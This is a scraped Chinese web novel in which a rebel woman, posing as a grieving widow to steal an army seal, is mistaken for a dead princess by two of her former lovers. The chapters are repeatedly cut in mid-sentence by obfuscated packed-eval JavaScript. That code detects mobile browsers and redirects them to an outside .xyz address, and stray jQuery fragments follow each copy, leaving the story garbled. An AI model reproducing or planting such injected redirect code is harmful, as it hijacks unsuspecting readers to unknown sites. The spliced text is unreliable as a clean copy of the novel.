《替身与替身的巅峰对决》
1. 久别重逢
大央正兴元年三月初,春寒裹挟着暮色浸没京城。
三两灰雀衔着金晖,掠过梧桐巷口,枝叶尚稀的老树下,云无忧一袭惨淡素服,直身而跪。
她双膝前是一具裹在旧竹席里的稚子尸体,右手边则立着块斑驳木牌,上书“卖身葬子”几个朱红大字,宛若枯涸的血迹,犹带腥气。
此刻近旁行人熙来攘往,耳畔指点议论声沸沸扬扬,云无忧垂首泣声不绝,哭得心无旁骛,只等着她要等的人。
“你……抬起头来。”驻足者雪衣皂靴,浓云般掩住天光,停在云无忧身前,出言踌躇。
云无忧应声仰起她泪水纵横的脸,一张极俊雅的男子面容顿时闯入眼中。
正是她要等的人——统率羽林军的当朝驸马,信平侯杨弈。
而杨弈看清云无忧面容后,仿若被雷劈中般呆立当场。
不消片刻,他呼吸急促,近乎失态道:“曜灵、你、你什么时候……”
云无忧憔悴面孔上浮现困惑之色,杨弈渐渐息了声音。
然而这困惑虽在云无忧脸上,却不在她心里,她对杨弈所言其实早有预料。
方才杨弈口中的曜灵,是指昭平郡主程曜灵,那曾是位风流韵事满京城的奇女子,可惜红颜薄命,早早就辞世了。
云无忧知道,她与程曜灵长得几乎一模一样。
她还很清楚,杨弈便是程曜灵曾经的情人之一。
若非如此,她也不会主动请缨,来盗杨弈手中的羽林军军印。
少顷,杨弈收敛了神色,拿出世家子弟一贯的从容风度,温文尔雅道:
“在下雍丘杨弈,字遥臣,忝居信平侯之位,现住梧桐巷中,不知姑娘芳名?”
云无忧当即叩首,字字哀声:“草民云无忧,亟需十两银子安葬幼子,还请侯爷垂怜。”
其实逝者已矣,身后事再喧嚣又有何用,她只是借此契机接近杨弈罢了。
谁让这世上唯有真心最动人,也最能骗人。
云无忧嗓音喑哑,周身悲痛宛如实质,杨弈面露恻隐,向后招招手,侍从会意,从怀里掏出银票递向云无忧。
但还不等云无忧拿到银票,侍从便不知被谁一掌掀翻,栽倒在一旁,银票亦是跌落尘埃。
云无忧眉心微蹙,抬眼望去,只见残阳映照下,一位玉带金冠的锦袍男子正死死盯着自己。
他玄衣上纹龙绣凤,腰横长刀,眉目桀骜,盛气凌人,一看便知贵不可言。
云无忧估摸着是个惹不起的人物,遂捡起地上银票,暗中瞥向杨弈,想知道被人这么下面子,杨弈会作何反应。
此刻杨弈唇角挂上客套而虚伪的微笑,对着锦袍男子拱手:“小王爷这是意欲何为?”
云无忧心下了然,原来是皇室宗亲,怪道如此嚣张。
锦袍男子并不理会杨弈所言,俯下身来平视云无忧,喉间滚出颤抖的声调:
“你……你何时回京的?”
瞧这样子,大抵也是程曜灵从前的情人之一,只是还不知他具体身份。
于是云无忧故作茫然地看着他,并不回答。
杨弈的声音在一旁响起:“曜灵已过世多年,还请小王爷……”
寒光乍闪,冷刃破空,杨弈未出口的话,被锦袍男子遽然挥向他颈上的长刀截断了。
疯子!
云无忧惊得额上青筋都在跳,心下大骂,但念及如今她只是个孤苦的寡妇,还是并未轻举妄动。
不过须臾,杨弈随行的护卫便与锦袍男子身后的亲兵成对峙之势,双方剑拔弩张,气氛一时焦灼。
杨弈唇角勾起一个弧度,笑意不达眼底,抬手弹了弹颈侧刀刃:
“段司年,不要欺人太甚。”
段司年?竟是小良王……
据云无忧所知,这位小良王名段檀,字司年,乃先帝托孤重臣良王的世子,战功赫赫但常年居于边关,甚少回京。
而他有位逝世多年的世子妃,正是昭平郡主程曜灵。
作为程曜灵的赝品,云无忧旁观着眼前这两位王孙公子的对峙,眉头微颤,意识到这回恐怕是惹上大麻烦了。
此刻段檀抬起下颔,一双凤眼不怒自威,睨视杨弈道:“杨遥臣,不要再让我从你嘴里听到我世子妃的名讳。”
他语气凌厉,言辞猖狂,唇齿开合间,刀锋又往杨弈脖颈进了一寸,隐隐压出一条血线。
看清段檀那双溢满杀气的眼睛,云无忧心中一凛,此人竟是真想要杨弈死。
杨弈这种朱门权贵固然死不足惜,但今日若死在这里,她岂不是前功尽弃?
云无忧当即起身,扫了眼段檀身侧那些煞气冲天的亲兵后,徒手攀握长刀,硬生生将刀从杨弈颈上挪开了。
为扮作一个寻常寡妇,她不能将力道控制得太精妙,以免被看出破绽,因此就只能任由手掌被刀割破。
鲜血迅速自伤口处流涌而出,一滴滴滚落尘泥,云无忧按捺着痛楚,对段檀欠身道:
“信平侯方才已将草民买下,草民虽愚昧,但也知主辱臣死的道理,还望小王爷见谅。”
段檀望着她鲜血淋漓的右手,一时晃神,竟将佩刀丢在了地上。
身后亲兵连忙捡起佩刀递呈给他,他却一把将长刀拂开,看向杨弈沉声道:
“人给我,近日你犹豫的事,我来办。”
杨弈闻言目光闪了闪,而后像是从不曾跟段檀发生过生死冲突一般,言笑晏晏:“小王爷常驻边关,不曾想对京城的事也是了如指掌。”
段檀不耐烦:“何必废话,人我带走了。”
云无忧见杨弈毫无阻拦之意,心下冷嘲,暗道这些权贵果然凉薄,她刚救了杨弈的命,杨弈却转手就将她卖给了段檀。
但她此番可不是为了段檀而来,念及此,云无忧即刻跪倒在杨弈脚下,噙着泪凄楚道:
“侯爷,草民命苦,先夫早逝,幼子早夭,是遇到侯爷才得孩儿丧葬之资,侯爷大恩大德,草民无以为报,愿一生侍奉侯爷……”
杨弈有些无奈地轻叹一声,摇头浅笑:
“你我无缘,不必强求,如今你既得了小王爷青眼,日后便是良王府上的人了。”
他语气温柔,却透出无可转圜的意味。
云无忧看出杨弈这是已经拿定了主意,不会被她三言两语所动摇,于是心念一转朝着段檀膝行几步,扯住他衣角开始大诉衷情:
“小王爷,草民得您看中不胜荣幸,但草民已被侯爷买下,常言道一仆不事二主,听闻小王爷一向宽宏大量……”
段檀打断了她:“你从哪里听闻我宽宏大量?”
云无忧神情一顿,段檀又盯着她的眼睛追问:
“杨遥臣究竟哪里好,你要这样苦苦哀求留在他身边?”
云无忧被他问得心烦意乱,一时间只想尽快结束这场闹剧,连声音都拔高了几分,对着段檀重重叩首:
“求小王爷放
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15506049|170488||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
过草民吧!”
段檀见她如此,有些受不住似的缓缓阖目,几乎要将拳头握碎。
他默然良久后才咽下一口气,也不再言语,强行将云无忧扶起,扯断袖摆为她将右手简单包扎后,招招手让手下收拾局面,直接揽着肩膀将人带离。
被强塞进良王府的马车里,云无忧抬眼去打量如今正坐在她对面的小良王。
她今日功亏一篑,全是因为此人。
不久前,杨弈命羽林军捣毁了飞雪盟在京城北郊所设的粥棚,将当时施粥之人通通抓捕,看押在京郊狱中。
随后羽林军便昭告天下,说飞雪盟人皆反贼,并放出话来,要每十日斩一反贼头颅,以震叛逆,还将通缉反贼的告示贴满了大街小巷。
而云无忧,正是被全城通缉的飞雪盟反贼之一,那日她本来也要去参与施粥,但幼子性命垂危,她只得留守看顾,因此才逃过一劫。
奈何幼子命薄,终是早夭,她没了牵挂,欲报盟主往日恩德,便请命盗取羽林军军印。
此举既是为救同盟,也是为救这施粥者贼、滥杀者官的荒唐世道。
为证决心,昨日她已在盟中立下生死状,月末事若能成,她领少盟主之位,事若不成,她甘愿领死。
但眼下她所有筹谋,都被横插一脚的段檀给毁了。
大概是云无忧的目光太过肆无忌惮,段檀似有察觉般将视线投向她的脸上。
正对段檀锐利的眉目,云无忧心头一颤,率先开口试探:“不知小王爷有何处用得上草民?草民定当尽心。”
段檀瞬间拧紧眉头:“你是我世子妃程曜灵,不是草民。”
他话音刚落,云无忧便毫不犹豫地出言否认:
“小王爷怕是认错人了,草民云无忧,沧州昆吾人士,去年年底为给幼子寻医才入京,绝非小王爷的世子妃。
原是误会一场,还请小王爷将幼子尸身还给草民,放草民下车。”
将云无忧的话收入耳中,段檀面色阴沉,直直盯着她诘问道:“放你下车,让你回去找杨遥臣吗?”
见段檀面色不善,云无忧并未轻易接话。
车内寂静几息,段檀蓦地出声:“方才杨遥臣买你的银票,给我。”
小良王应该不会缺这十两银钱……
云无忧有些不明所以,但还是依言照做。
段檀接过银票面露嫌恶,仿佛沾染了什么污秽之物,抬手便将银票甩到车外,随后状若无意般开口:
“你要葬的那孩子叫什么?”
云无忧垂下眉目,语调低且悲:“林安。”
段檀面上似有怜惜之意,却又转瞬即逝,他欺身上前,将云无忧圈在身下,单手钳住她的面颊,逼她同自己对视:
“你做我的世子妃,我会命人将林安厚葬于邙山,你若要去找杨遥臣……”
他冷笑一声:
“那林安的尸首就只能去喂乱葬岗的野狗。”
狭小逼仄的一方天地内,男子滚烫的吐息扑面而来,携着不容抗拒的威压,他的恫吓极卑劣,却正打在云无忧的七寸上。
云无忧定定看着段檀的眼睛,拳头攥紧又松开,竭力遏制住心头汹涌的杀意,咬牙挤出一个笑:“多谢小王爷肯厚葬安儿。”
见云无忧做出选择,段檀松开钳制,仿佛变了个人一般,缓缓覆上她带伤的右手,珍而重之地摩挲半晌后低声问她:
“从前之事,你真的全然忘却了吗?”
2. 天女散花
云无忧不欲同段檀这疯子多言,随意点点头迎合。
这倒不算是骗段檀,三年前她在沧州老家曾遭遇一场大火,慌乱中不慎撞伤了头,醒后的确将前尘忘得一干二净。
不过那时候她亲爹还在世,她们父女感情也深厚,因此她很确定她姓云,不姓程。
段檀垂眼把玩着她纤长手指,静默许久才道:“忘了也好。”
“如今你只须记得你是我世子妃程曜灵,你我青梅竹马,情投意合,当年是奉旨成婚,羡煞旁人。”
虽不知段檀为何认定她就是程曜灵,但段檀话都说到这个份儿上,云无忧也只能顺从:“妾明白了。”
短短一句话不知为何说得段檀面露不豫,肃然开口:
“你向来不喜妾妇之道,不必如此自称。”
“你是郡主,救过君王,战过沙场,一生高贵,不弱于人,即使是对我,也不必如此小心翼翼。”
云无忧闻言甚觉惊诧,她只听说过程曜灵有不少情人,没料到作为京城中的贵女,程曜灵生前竟还是个颇有功绩的女将。
不过她本就是做赝品的,照她们盟主的话来说,一知半解还不如一无所知,反正接近杨弈以后,杨弈怎么说,她便怎么演就是了。
可惜她今日却连给杨弈当赝品都没当成,之前准备的一切,只能先拿来应付段檀。
收拢了思绪,云无忧斟酌瞬息,照着段檀口中透露的程曜灵脾性,冲他展颜一笑:“我知道了。”
段檀望着她染上笑意的眉目,眼前缓缓浮现了当年那个明朗赤诚的少女,万千思绪刹那间一齐涌上心头,直叫他眼眶发热,五脏六腑都仿佛要烧起来。
发觉自己心神激荡得过分,段檀几乎是有些仓惶地偏过头,整个身子都绷了起来,攥紧刀柄目不斜视,仿佛要把身前的车帘给盯穿。
云无忧察觉车厢内的气氛似有不对,但段檀既然不开口,她对段檀又无所求,便安稳的呆在原地当泥塑木雕,免得说多错多。
不多时,段檀心绪堪堪平复,凛冽的声音再度响起:“你那孩子林安,是怎么死的?”
云无忧双眸一黯:“病入膏肓,药石无医。”
段檀默了默,干巴巴道:“节哀。”
云无忧垂下长睫,掩去目中情绪,一时无言。
段檀抿唇,神情不甚明朗,又问:“你亡夫叫什么?他是什么样的人?”
云无忧被他问得一怔,随后面上渐渐浮现出怀缅之色,双目也泛起柔暖的微光:
“叫林寻,林寻……是这世上最好的好人。”
见云无忧如此情态,段檀登时沉下眉目,眼底闪过晦暗的戾气,极力压制着声音中的寒意:
“听你所言,这个林寻似乎有名无字?”
云无忧微微笑着回答他:“渔猎为生的平民百姓,自然没有字号。”
段檀扬眉,眼神轻蔑,不屑一顾:“如此说来,不过一介乡野村夫,在你口中倒像什么隐世巨贤了。”
听出他话里溢出的鄙夷,云无忧心中怒意翻腾,但思及眼下处境,硬是忍了下来,作出一个羞赧的笑。
段檀见此面色愈沉,直到下车都一言不发。
二人抵达良王府,云无忧跟在段檀身后从门口走到内院,一路留心看过去,唇角勾起一抹若有似无的笑意。
这王府里连洒扫的婢子都孔武有力身手不凡,看来良王一脉是早有异心了。
但宗室们做反贼向来小器,与村头豪强争家财无异,还真不如她们泥腿子一心改天换日来得酣畅淋漓。
如今良王不在京中,王府诸事段檀一言而决,在他的授意下,云无忧眨眼间便成了府内的女主人,她早夭的孩子林安,也被安葬在了距大央皇陵最近的、墓主非富即贵的邙山之中。
……
次日清早,云无忧看着铜镜里给自己梳头的侍女,眉头略不自在地动了动。
昨是贫家寡,今成世子妃,可惜她天生穷命,过不惯这人上人的日子。
梳妆完毕,云无忧抬手摸着头上发髻,对镜仔细打量了几番她那张脸。
眉是柳叶眉,但略粗了些,眼是杏仁眼,可其中神采太甚,盖过了水光,面庞先前倒是饱满,然而入京后困顿操劳,如今两颊也略微凹陷了。
说实话,这样一张脸,英气端正是有余的,风流娇媚就差得太远,温柔小意更是不沾边,绝非世间大多数男子青睐的长相,倒是比较容易得到女子的信任。
能靠这张正气凛然的脸纵横情场,昭平郡主的确了得,她但凡有人家三分手段,这会儿大概已经在信平侯府找军印了,而不是莫名其妙被逼到良王府,跟段檀这疯子虚与委蛇。
说疯子疯子到,段檀的身影迈进房中,出现在铜镜里,云无忧当即起身,随他出了良王府,二人同乘一马经过街头巷尾,任谁看都是一对好伉俪。
巳时左右,段檀一勒缰绳翻身下马,云无忧坐在鞍上环顾四周问询道:
“这是何处?”
此处楼阁林立,人声鼎沸,看起来像个闹市。
段檀静静望向前方,平素冷冽的凤眼中似有雾气笼罩,哑声道:
“回春坊,天女阁,散花桥。”
云无忧虽不曾来过此处,但也听说过回春坊,此乃京城东街十三坊之首,一向金鼓喧阗,声名极盛。
可顺着段檀的目光望去,她只见到两座被廊桥连起来的楼阁,除了高一些,似乎并没有什么特异之处。
她不太明白段檀语气里那股子五味杂陈是从何而来。
段檀牵着马将云无忧带到桥下后,仰面对她嘱咐:
“我去办事,你在此处等我。”
云无忧点头,段檀凝视着她的脸,又开口:
“不要想着离开,你不会想知道离开的后果。”
短短两天,段檀就已经威胁她第二次,云无忧攥紧了手里缰绳,再次压下心中几乎喷薄而出的杀意,莞尔笑道:
“小王爷这是说得哪里话,我是你的世子妃,怎么会离开呢?”
段檀颔首,转身离去。
云无忧看着段檀的身影消失在人流之中,面上笑意渐渐收敛。
她扬起头向远方眺望,眼底一片空茫,浩浩荡荡的红尘里,她像只流落人间的孤雀。
“咚”“咚”“咚”
不知过了多久,一阵清晰的鼓声传入耳中,云无忧回神,目光投向鼓声的来处——廊桥两侧的高楼。
高楼上鼓声渐歇,丝竹管弦之声奏起,悠扬缠绵,引得不少人在楼下驻足。
一位打扮入时的妇人仰头看着楼上,语气十分期待:“看样子,今年第一次天女散花要来了。”
旁边书生不明所以的凑近妇人,好奇道:“什么天女散花?跟这乐声有关系吗?”
妇人面带怀念:“这回春坊的天女散花之景,要从先帝天授十五年说起了。”
“那年六月,一个面戴薄纱的女子身穿彩衣,腰结百花,伴着舞女飞扬的红袖和两边鼓乐之声,在满天花雨里自廊桥上一跃而下,将手中海棠别在了情郎头上。”
“那景象之美可真是……非人间所有,不知倾倒多少人心,一时传作美谈,被无数文人誉为盛景。”
“后来每到春夏,便常有年轻男女借此传情,天女阁和散花桥就是因此得名。”
此时有人插话道:“我记得六七年前那女子的情郎名声可不小——似乎是位姓杨的贵公子吧!”
……
渐盛的乐声吞没了人群的喧闹,廊桥两侧的高楼中,舞女们纤腰高髻,挎着花篮鱼贯而
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15506050|170488||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
出,舞步翩跹,恍若天人。
云无忧抬眼,只见桥上飞袖如云,落花如雨,一位白衣公子正踏着风声,向她而来。
段檀将手中海棠插上她发髻后旋身落地,在马下仰起脸,认真看着她的眼睛:
“曜灵,芳辰欢畅,平安喜乐。”
段檀说话时的神情近乎虔诚,云无忧看着他,不知怎么,心猛地一缩,泪水突然夺眶而出,霎时间整个胸腔都被一股澎湃而陌生的酸涩感剧烈冲荡。
她怔愣片刻后迅速抬手向眼下抹去,心中自嘲,人家小良王为昭平郡主庆寿,她怎么还哭上了,真是别人给点颜色就不知道自己是谁。
段檀没料到云无忧会流泪,一时间僵在原地,竟然肉眼可见的有些无措起来。
好在云无忧很快便自己止住了眼泪,她看着段檀神色紧绷的样子暗叹,小良王虽然霸道专横,但看起来对昭平郡主确实是真心的。
她翻身下马,本欲对段檀说些什么,可刚一落地,就在段檀身后看到了一个熟悉的人。
白衣玉冠,手执纸伞,眉目温润,风度翩翩,正是杨弈。
他面色不知为何甚是恍惚,与云无忧对上视线才回过神,走到段檀身侧温和笑道:“见过小王爷。”
云无忧见状眨了眨眼,忽的发觉这二人面目很是相似,此刻又都身着白衣,站在一起时简直宛如双生,若不是气质差异极大,恐怕会有不少人认错。
看来昭平郡主的口味还挺专一。
段檀看到杨弈,面色有一瞬间的不自然,板着脸想拉着云无忧离开。
可云无忧一见杨弈,满脑子都是军印之事,于是不动声色地避开了段檀伸过来的手,笑吟吟地跟杨弈搭话:
“见过侯爷,这会儿天色晴好,侯爷怎么打起伞来了?”
杨弈一只手向上指了指,微笑看她:“花雨也是雨。”
他的目光极幽深,似乎是在看云无忧,又似乎不只是在看云无忧。
云无忧并未察觉杨弈微妙的神情,笑出声来:“侯爷真会说笑。”
又接着道:“侯爷这是要上哪儿去?”
“随意走走,尚无去处。”
答完云无忧的话,他像是想起了什么似的:
“昨日你走得匆忙,有些物件落在原处,我帮你收在侯府里了,不知你这会儿方不方便去取?”
云无忧心中一动,虽然她根本不记得自己落下了什么东西,但此番杨弈主动邀约,为军印她岂有不应之理:
“我自然方便,真是劳侯爷费心,既然侯爷此时得空,不如咱们这就一同前往?”
段檀见这二人在他面前聊得有来有往,脸色早就黑得像锅底,此刻看他们越说越起劲,终于忍不住咬着牙对云无忧道:
“什么东西良王府没有,一定要你去信平侯府拿?”
见段檀开口阻拦,云无忧面上的笑意略有凝滞,看向段檀道:
“良王府固然无所不有,但有些物件还是用久了的好,我想小王爷应当能明白这道理,再说信平侯一番好意,我怎能辜负?”
她这话说得段檀心中郁气升腾,当即冷笑一声,强行将她拉到自己怀里,对杨弈道:
“我忽然想起还有些急事要处理,就先回王府了,落在你那儿的东西稍后叫人去拿。”
眼看着接近杨弈的事又要被段檀搅黄,云无忧心中一沉,暗暗发力想要脱离段檀,段檀发觉她的挣扎,目光越来越冷,禁锢她也愈发用力。
将眼前情景收入眼底,杨弈眉梢一挑:
“小王爷,我也忽然想起一事,方才我从甘露门过来,似乎听到守门士兵说——良王从燕州巡防回来了。
他老人家眼里一向容不得沙子,若是骤然在王府中见到云姑娘,我想恐怕是不妙。”
3. 相见不识
云无忧闻言眸光一闪,京中的王孙公子虽然在外花天酒地没人管,可若要带人回家,是一定得先在父母长辈那里过了明路的。
而她昨日傍晚才仓促入了良王府,段檀一定还没来得及告诉良王,此事若是利用得当,或许她能就此离了段檀。
但出乎她意料的是,段檀全然不为所动,看着杨弈满面漠然:“我为何要信你?”
杨弈笑了笑,语气淡淡:“我只是隐约听说,信与不信,全凭小王爷自己。”
见段檀始终无动于衷,云无忧心下一急,顺着杨弈的话加了把火:
“方才我在桥下,似乎也听到有人议论说良王回京了。”
段檀转眼看向她:“此话当真?”
开弓没有回头箭,云无忧点头道:“自然当真。”
段檀思忖一霎,还是信了云无忧所言,将她从怀里放开,扣着肩膀轻声嘱咐:
“父王归京,我得先回王府应对,也将你的事告诉他,免得你们起误会,最迟入夜之前,我定会派人到信平侯府接你。”
语罢又扭头对着杨弈厉声道:“杨遥臣,人我暂且交给放在你那儿,要是出了什么岔子,我唯你是问。”
随后他便捞起一旁的缰绳,急匆匆地策马而去了。
“云姑娘,走吧。”杨弈持伞走到云无忧身边。
杨弈一走近,浓郁的熏香味顿时扑鼻而来,云无忧被呛得咳了两声,转头看他。
杨弈面上浮现歉然又温煦的笑意:
“昨夜实在难眠,沉香熏得狠了,不想这会儿冒犯了云姑娘,真是罪过,还请姑娘大人有大量,宽恕我这一回。”
果然是贵人做派,暗里再杀人放火,人前都是天衣无缝的一张假面,让再刁钻的人也挑不出错处,何况云无忧还对他有所图,自然是连声宽慰。
二人同行离开回春坊,越过凤凰街,并排走进梧桐巷时,巷口几个孩童一起踢着毽子,嘴里念念有词的唱:
“梧桐巷里梧桐碧,凤凰街上凤凰游。”
云无忧问杨弈:
“侯爷,不知我昨日落下了些什么?”
此时他们快走到信平侯府门口,守门的家丁已经极有眼色地迎了上来。
杨弈收了伞扔给家丁,扭头对着云无忧促狭一笑:
“那是骗小王爷的,我今日骗了他两回。”
听明白杨弈的话,云无忧一时怔住,回想片刻后若有所思道:
“所以良王归京的事……”
“也是假的,你竟信了,还帮着我哄小王爷。”
杨弈干脆点头,肯定了她的揣测,唇角勾起一个戏谑的弧度,抬腿迈进侯府的门槛。
云无忧故作懵懂地回应:“侯爷于我有大恩,我怎知侯爷也会扯谎……”
她这会儿虽然面上不显,心中却已暗道不妙,方才她急着脱身,竟跟杨弈联合骗了段檀,那疯子若发现还不知道要发什么颠。
而且杨弈此人谎话张口就来,显然也不是省油的灯,今日为何会突然将她带来信平侯府……
尽管心中疑窦丛生,但为了军印,云无忧还是紧跟着杨弈进府,双眼不动声色地扫视着信平侯府的内部布局,一一记在心中。
二人步履不停,直到几乎要将信平侯府横穿的时候,杨弈才终于驻足,云无忧也在他身侧站定,目光触及眼前景象后心中大震,一时竟忘记言语。
杨弈负手而立,侧头询问她:“此处如何?”
云无忧如梦初醒,感慨万千:“没料到侯府里竟有这样的地方。”
她自入信平侯府以来,目之所及尽是朱楼碧瓦,雕梁画栋,不曾想侯府的最深处,竟藏着这样一座土阶茅屋。
其实眼前这茅屋并不破败,也十分干净齐整,对几日前的云无忧来说,简直是梦寐以求的居所,可它突然出现在富丽堂皇的侯府里,就难免让人觉得怪诞离奇。
将云无忧的慨声收入耳中,杨弈浅笑道:“怎么?觉得寒酸?”
云无忧则以疑问回答了他的疑问:
“侯爷今日为何将我骗来此处?”
杨弈闻言缓缓卸下脸上面具似的笑,周身散发出某种堪称沉重的气息,走到茅屋前的石桌旁落座,过了好一会儿才面色平静,开口时却又如同吞下刀子一般艰涩:
“这是我与昭平郡主有过交集的一方故地,我把它搬到了侯府里。”
当年他跌落尘泥,是被弃如敝屣的侯府假子,程曜灵圣眷正浓,是前程无量的高门贵胄,却愿意孤掷一生,披红衣渡夜雨,同他千里奔亡居陋巷。
但时光何其残酷,如今他佩紫怀黄、权势煊赫,成为谁都不可撼动的公卿王侯,可曾经那个璨若烈阳的少女,竟已经连尸骨都不见了。
而他终究没能成为她名正言顺的丈夫,提及从前那些灼烫的往事时,也只剩下含糊其辞。
“今日是她二十一岁诞辰,云姑娘,你实在是很像从前的昭平郡主,我见到你,一时情难自抑,所以才用了些不光彩的手段,还望见谅。”
杨弈毫不遮掩地吐露真情,云无忧作为旁观者尽管伤怀有限,可也心中一动,明白这是个攻心的好时机,当即面带动容之色轻声道:
“侯爷待昭平郡主之心,令人感佩。”
杨弈闻言微微一怔,避开了她的视线,垂下眉目低声道:
“今日在回春坊,我见小王爷为你作了天女散花之景,不知你觉得……觉得如何?”
杨弈的语气非同寻常,可云无忧实在不知其中内情,于是左思右想后才谨慎评论:
“后来者倒还罢了,我只觉得那第一个作此景之人,一定是用情至深。”
云无忧语罢,只见杨弈抬眼定定的看着她,面上是一种复杂到她读不懂的神色。
直到她被看得心里发毛,杨弈才移开了目光,声音几不可闻地低语:
“用情至深……好一个用情至深。”
云无忧见杨弈因为她一句话不对劲成这样,心里打鼓,没敢接话,从石凳上起身跟杨弈拉开了距离,在茅屋周围转悠起来,暗中探看此地全貌。
她在一簇伸进墙里的枝叶前停下脚步,杨弈声音忽地自身后响起:
“那是昔年我与昭平郡主一同种下的梧桐树。”
云无忧被突然响起的人声惊了一跳,缓过神准备回话时却发现了古怪,她眼前这堵墙……似乎矮得有些过分了。
她转头对着杨弈疑惑道:“此处的墙是不是有些矮了?”
简直是个太适合人翻越的高度。
杨弈颔首:“矮墙翻起来会容易些。”
云无忧讶然,一双杏眼睁得溜圆,杨弈这话说的,怎么像是这墙砌在这儿就是为了给人翻的?
将她的神色收进眼里,杨弈脑海中无法自控地浮现出从前。
那时候他被禁足,程曜灵翻墙来看他,以一种京中贵女绝
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15506051|170488||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不会有的浪荡姿态,骑在信平侯府的高墙上,却是瞪圆了眼睛,像高处啄食的雀鸟似的,声音也脆亮如鸣,认认真真地抱怨:
“杨遥臣,你家的墙也太难翻了!外面竟然一棵树也没有!”
她喜欢爬树,也擅长爬树,所以后来他们在墙外亲手种下那株梧桐,用来落他的凤凰。
然而前尘恍若隔世,他也早已不是当初满怀情思的慕艾少年,因此只是失神一刹,便带着笑继续对云无忧说道:
“你日后若是想来信平侯府,可以从那里翻进来,不必同我打招呼。”
猛地被杨弈戳破了脑子里的念头,云无忧心中一凛,笑得颇为僵硬:
“这……侯爷莫要打趣。”
杨弈却看着她鼓动道:
“犹豫什么,翻墙不是难事,何况那里还有棵梧桐可供攀爬。”
云无忧见杨弈不像是察觉了什么的样子,反而还在给她出主意,心中微动试探道:
“侯爷就不怕我偷盗府里那些值钱的宝贝?”
杨弈但笑不语。
这时,一个小厮急匆匆走到杨弈面前道:“侯爷,公主殿下朝着此处过来了,瞧那模样像是不太高兴。”
人尽皆知,能自由出入信平侯府的公主只有一位,那便是信平侯的妻子昌平公主。
她不高兴的原因也很容易想见——夫君带着陌生女子回家,换了谁也很难笑脸相迎。
昌平公主恐怕是冲着她来的,云无忧暗道不妙,舔了舔自己有些干燥的嘴唇,指着梧桐树下那方矮墙道:
“要不我现在从这儿走?免得冲撞了公主。”
见她这副唯恐避之不及的慌张模样,杨弈轻笑一声,摇了摇头:“那倒也不必。”
随后转头对小厮温声道:“去告诉公主,大将军临时有事找我,我就不去见她了。”
当朝大将军是昌平公主的亲娘舅,杨弈以此为借口,也是不欲得罪昌平。
小厮领命,立即动身去拦昌平公主,杨弈则领着云无忧前往侯府门口。
岂料小厮没能拦住昌平,几人终究还是相遇了。
天近黄昏,长廊拐角处,一位身着明黄色华服、云鬓高挽、满头珠翠的女子正逆着光等在那里。
她容貌昳丽,抬着下巴目光倨傲,满脸骄矜之气,如同一朵兀然怒放的芍药,秾艳又霸道,被身后几十个仆婢护卫拱在最前方。
杨弈见到她立即上前行礼:“见过公主殿下。”
此举并未平息昌平公主心中的怒火,她冷笑一声,指着低头跪在杨弈身后的云无忧厉声道:
“杨遥臣,别想骗本宫,告诉本宫这个女人是谁!”
杨弈这些年做驸马做得无可挑剔,除她以外身边从未出现过别的女人,今天这狐媚子也不知是耍了什么手腕,竟勾引得他破了定。
昌平公主如刀一般锋利的目光刺向云无忧脸上,却在瞬息之间神色大变,跟见了鬼似的惊叫出声:“程曜灵?!”
杨弈在一旁温声道:“她并非昭平郡主,还请公主明鉴。”
听到杨弈的否认,昌平公主面色仍惊疑不定,她紧紧盯着云无忧的脸,颤着声音道:“你把手伸出来。”
云无忧闻言有些困惑地眨了眨眼,杨弈见状为她解释:
“昭平郡主左手掌心有一枚赤红色胎记,形如翎羽。”
竟是如此,那昨日段檀为何会认定她是昭平郡主……
4. 刀光剑影
云无忧心绪翻涌,在昌平公主眼皮子底下将两手手心向上摊开。
见到她白皙光洁的左手掌心,昌平公主总算松了口气,而后像是给自己方才的惊恐找补似的,嗤笑着尖声嘲讽道:
“看来的确不是程曜灵那个贱人。”
“不过你们俩如此相像,又都喜欢跟男人纠缠不清,可真是如出一辙的下贱。”
昌平公主的话太难听,云无忧心头登时窜起一阵无名火,但思及二人地位差距,还是把这口气咽了下去。
她目光瞥向杨弈脸上,想看看这位跟昭平郡主关系匪浅的驸马爷会作何反应。
只见杨弈一脸平静,站在那里眼观鼻鼻观心,没有丝毫要开口的意思。
明明雍丘杨氏是传承数百年的簪缨世家,在大央七贵中也名列前茅,他还是家主,位高权重,面对昌平公主,却连一个字都不愿意为心爱的女子辩驳。
云无忧不由得心中发笑,这还是那个在茅屋前对着她追忆昭平郡主的深情男子吗?真是变脸如翻书,跟方才完全判若两人。
杨弈不在乎昌平公主对程曜灵的中伤,云无忧却有话要说,她仰脸看着昌平公主的眼睛肃然道:
“人死如灯灭,逝者已矣,公主殿下何必如此恶语伤人。”
